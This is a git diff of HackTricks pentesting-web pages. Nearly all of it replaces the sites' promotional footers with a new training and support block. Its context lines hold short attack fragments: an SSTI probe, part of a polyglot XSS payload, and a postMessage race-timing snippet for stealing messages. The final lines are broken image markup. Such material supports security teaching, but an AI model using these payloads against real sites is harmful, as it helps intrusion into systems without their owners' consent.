@@ -238,14 +241,17 @@ You can find more gadgets here: [https://deadcode.me/blog/2016/09/02/Blind-Java-
##
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md b/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md
index 64bc2e48f61..cddbfb1a5d5 100644
--- a/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md
+++ b/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md
@@ -1,27 +1,33 @@
# PDF Upload - XXE and CORS bypass
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
**Check [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)**
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/pentesting-web/login-bypass/README.md b/pentesting-web/login-bypass/README.md
index 74592f98000..e2e7ec7de2a 100644
--- a/pentesting-web/login-bypass/README.md
+++ b/pentesting-web/login-bypass/README.md
@@ -1,16 +1,19 @@
# Login Bypass
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
@@ -114,14 +117,17 @@ Pages usually redirects users after login, check if you can alter that redirect
{% embed url="https://www.rootedcon.com/" %}
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md b/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md
index 67106838156..36ed689b58b 100644
--- a/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md
+++ b/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md
@@ -1,16 +1,19 @@
# Web Vulns List
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
```python
{{7*7}}[7*7]
@@ -52,14 +55,17 @@ javascript:"/*'/*`/*-->">'>
```
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md b/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
index f65cc21ad77..1d44b6bbe39 100644
--- a/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
+++ b/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
@@ -1,16 +1,19 @@
# Blocking main page to steal postmessage
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Winning RCs with Iframes
@@ -41,14 +44,17 @@ win?.postMessage(buffer, '*', [buffer.buffer]);
And in order to be precise and **send** that **postmessage** just **after** the **iframe** is created but **before** it's **ready** to receive the data from the parent, you will need to **play with the miliseconds of a `setTimeout`**.
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
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+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md b/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
index 22bc4ff37df..ce3d7dd7b24 100644
--- a/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
+++ b/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
@@ -1,16 +1,19 @@
# Bypassing SOP with Iframes - 1
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Iframes in SOP-1
@@ -83,14 +86,17 @@ That **payload** will get the **identifier** and send a **XSS** it **back to the
```
+{% hint style="success" %}
+Learn & practice AWS Hacking:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
[**HackTricks Training GCP Red Team Expert (GRTE)** (1) (1) (1) (1) (1) (1).png)
.png)